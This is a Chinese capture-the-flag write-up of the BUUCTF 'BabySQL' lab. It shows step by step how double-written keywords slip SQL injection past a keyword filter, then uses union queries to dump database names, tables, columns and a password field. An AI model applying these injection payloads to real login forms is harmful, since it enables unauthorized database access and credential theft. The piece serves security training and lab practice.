2025.1.16——六、BabySQL 双写绕过|联合注入

题目来源:buuctf 极客大挑战 2019BabySQL 1

目录

一、打开靶机,分析已知信息

二、手工注入解题

[step 1:万能密码](#step 1:万能密码)

[step 2:正常注入,判断字段数](#step 2:正常注入,判断字段数)

[step 3:绕过](#step 3:绕过)

[step 4:查数据库](#step 4:查数据库)

[step 5:查表名](#step 5:查表名)

[step 6:查列名](#step 6:查列名)

[step 7:查数据](#step 7:查数据)

三、小结

1.绕过方式

2.查数据库名和表名可以合二为一


一、打开靶机,分析已知信息

仍为SQL注入系列,提示:有关键字过滤

二、手工注入解题

step 1:万能密码

sql 复制代码
username=admin&password=admin' or '1'='1
sql 复制代码
username=admin'&password=admin or '1'='1

发现万能密码失效了,两种密码结果不同是因为的单引号位置不同,导致闭合情况不同

step 2:正常注入,判断字段数

sql 复制代码
username=1' order by 3%23&password=1

发现or和by都被过滤了

再用

username=admin&password=1' union select 1,where

发现union select where 都被过滤了

过滤:有可能用函数将这些关键字替换成了空白字符

所以要进行绕过

step 3:绕过

尝试过后发现大小写绕过失效,所以尝试双写绕过,没问题,则利用双写关键字进行注入

但这里order by还是无法使用,所以用联合查询直接进行尝试

1.尝试两个字段

sql 复制代码
username=admin&password=1' uunionnion sselectelect 1,2%23

出现错误,有可能列数错误,继续尝试

2.尝试三个字段

sql 复制代码
username=admin&password=1' uunionnion sselectelect 1,2,3%23

回显正常了,且回显点为2,3位置

step 4:查数据库

sql 复制代码
username=admin&password=1' uunionnion sselectelect 1,2,database()%23

数据库名为geek

step 5:查表名

sql 复制代码
username=admin&password=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'%23

得到表名b4bsql

step 6:查列名

sql 复制代码
username=admin&password=1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23

其中password很可疑

step 7:查数据

sql 复制代码
username=admin&password=1' uunionnion sselectelect 1,2,group_concat(passwoorrd) ffromrom geek.b4bsql%23

从源码中得具体信息:flag{14a8c091-b278-4155-a56e-c663801feb59}

三、小结

1.绕过方式

如大小写绕过,双写绕过(双关键字绕过,如Uunionnion,第一个字母后跟原关键字)

SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客

2.查数据库名和表名可以合二为一

如:username=admin&password=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

相关推荐
Lethehong2 小时前
Oracle 加个字段,目标库就报错?KFS 用“先拆后组“打通异构 DDL
数据库·oracle
无障碍研究院2 小时前
2026TADC|圆桌对话:出海无障碍合规
安全·web安全
Web极客码2 小时前
锁定真正的磁盘卡顿:我用 OpenCode 配合 eBPF 诊断 NVMe 队列深度延迟与 I/O 写放大
数据库·oracle
持敬chijing3 小时前
白盒测试与代码审计-js登录逆向实战
javascript·网络·安全·web安全·网络安全·网络攻击模型
cspttty3 小时前
2027用户研究求职准备:应用统计学如何补齐研究设计与业务表达
大数据·数据库
roman_日积跬步-终至千里4 小时前
【数据Agent论文·查询与语义|05】Spider:为什么换一个数据库,模型就不会查了?
数据库·数据分析
猫咪很可爱4 小时前
Oracle RAC 启动失败排查:私网通信与内核参数优化实战
运维·数据库·oracle
XLYcmy4 小时前
《数字经济赋能城市低碳治理的路径研究检索报告》审阅与修改指导意见——基于完整检索报告体例的完整性诊断、学术规范核查与方法论纠偏 上
数据库·ai·chatgpt·文心一言·检索·知网·豆包
星恒随风4 小时前
Linux线程概念详解:从分页存储、页表、MMU与TLB,深入理解线程和进程的区别与联系
linux·运维·笔记·学习·状态模式
泡海椒4 小时前
JQuick-SQL 快速开始:注册内存表并执行查询
数据库·windows·sql